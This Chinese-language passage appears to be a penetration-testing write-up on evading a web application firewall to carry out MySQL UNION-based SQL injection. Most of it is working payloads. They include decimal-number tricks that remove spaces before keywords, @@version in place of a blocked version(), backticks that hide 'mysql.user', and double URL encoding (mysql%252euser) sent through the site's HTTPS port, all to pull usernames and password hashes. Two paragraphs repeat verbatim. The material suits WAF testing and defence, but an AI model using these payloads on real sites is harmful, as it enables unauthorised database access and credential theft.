然后，尝试通过union查询来获取数据，但是连接老是被重置，而且过于频繁的请求还被封IP。所以确定有waf的存在，接下来就是考虑如何绕过waf进行注入。
首先要获知返回的列数：id=161.0ORDER BY%2B9 ，这样的查询可以绕过waf检测，而一般的 id=161 ORDER BY 9 不行。
接下来就容易多了，尝试一下获取数据库版本：id=161444.0Union(select-1.0,2,3,4,5,6,7,version())，被拦截了，将version()换成@@version ok
首先要获知返回的列数：id=161.0ORDER BY%2B9 ，这样的查询可以绕过waf检测，而一般的 id=161 ORDER BY 9 不行。
接下来就容易多了，尝试一下获取数据库版本：id=161444.0Union(select-1.0,2,3,4,5,6,7,version())，被拦截了，将version()换成@@version ok
<-1.0就是一个负数的小数，可以免去和select之间的空格，此外还可以这样：select%2b1, select@1 select!1 select~1 select'1' select-1 select-.1 这样的话select的后边界空格就可以省去>
基于关键字的检测，主要是去掉关键字边界的空格，还有就是使用等效法代替被检测的字符串。比如上例，如果使用version()代替@@version则 不行。还有id=161444.0有两个作用，第一让原来的查询返回空，第二这是一个小数，小数后可以直接接关键字，而不用空格。
接下来看一下当前用户：id=161444.0Union(select-1.0,2,3,4,5,6,7,user())，user()被拦截了，之后尝试了 current_user(), current_user, system_user(), session_user() 都不行。
直接查看mysql.user（需要root权限）：id=1614444.0Union(select-1.0,password,3,4,5,6,7,`user`FROM(`mysql`.user))<不能是：`user`from`mysql.user`;>这里关键是反单引号的使用，成功逃过了敏感字符串“mysql.user”的检测
接下来说说遇到过的另一种sql注入情况：
经过最初的手工判断目标站点存在注入，而且同样存在waf。当从正面无法突破，于是想到了从非标准入口下手，然后扫描目标服务器开放了哪些端口。发现目标除了开80还开了其他端口还有443，然后尝试访问https:www.example.com发现和http://www.example.com返回的结果一模一样。
https://www.example.com/Article/show/id/477777 Union select 1,2,3,version(),5,6,7,8,9,10,11,12,13
绕过过滤的方法：
http://www.exmaple.com/Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)
在这里并没用使用反单引号来图片waf对字符串“mysql.user”的检测，还是采用了两次URL编码的方式将即：mysql%252euser<两次编码.>waf只对请求的字符串进行一次URL解码，而后端的web server却进行两次URL解码。waf认为没有危险的字符串，就因为这样的的失误造成了危害。